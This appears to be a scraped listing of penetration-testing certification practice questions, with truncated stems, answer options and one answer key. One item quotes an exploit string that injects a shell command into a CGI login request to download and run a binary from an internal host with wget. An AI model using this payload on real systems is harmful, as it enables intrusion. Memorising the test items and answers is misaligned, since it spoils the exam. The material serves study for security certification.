Which of the following is the MOST likely reason for the error?
A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root...
Which of the following is the tester performing?
A penetration tester writes the following script: Which of the following is the tester performing?A . Searching for service vulnerabilitiesB . Trying to recover a lost bind shellC . Building a reverse shell listening on specified portsD . Scanning a network for specific open portsView AnswerAnswer: D Explanation: -z zero-I/O...
Which of the following is the MOST important action to take before starting this type of assessment?
A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this...
Which of the following actions, if performed, would be ethical within the scope of the assessment?
A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position. Which of the following actions, if performed, would be ethical within...
Which of the following is the MOST likely reason for the lack of output?
A penetration tester was brute forcing an internal web server and ran a command that produced the following output: However, when the penetration tester tried to browse the URL http://172.16.100.10:3000/profile, a blank page was displayed. Which of the following is the MOST likely reason for the lack of output?A ....
Which of the following methodologies should be used to BEST meet the client's expectations?
A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?A . OWASP Top 10B . MITRE ATT&CK frameworkC ....
exploit += “/cgi-bin/index.cgi?
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: exploit = “POST ” exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} C c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS }apache;${IFS}./apache’%0A%27&loginUser=a&Pwd=a” exploit += “HTTP/1.1” Which of the following commands should the penetration tester run post-engagement?A ....
You are a penetration tester reviewing a client’s website through a web browser
DRAG DROP You are a penetration tester reviewing a client’s website through a web browser. INSTRUCTIONS Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certificate, source, or cookies. If at any time you would like...
Which of the following BEST identifies this concept?
The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?A . Statement of workB . Program scopeC . Non-disclosure agreementD . Rules...
Which of the following techniques would MOST likely be used to get legitimate access into the organization's building without raising too many alerts?
A penetration tester was hired to perform a physical security assessment of an organization's office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food. Which of...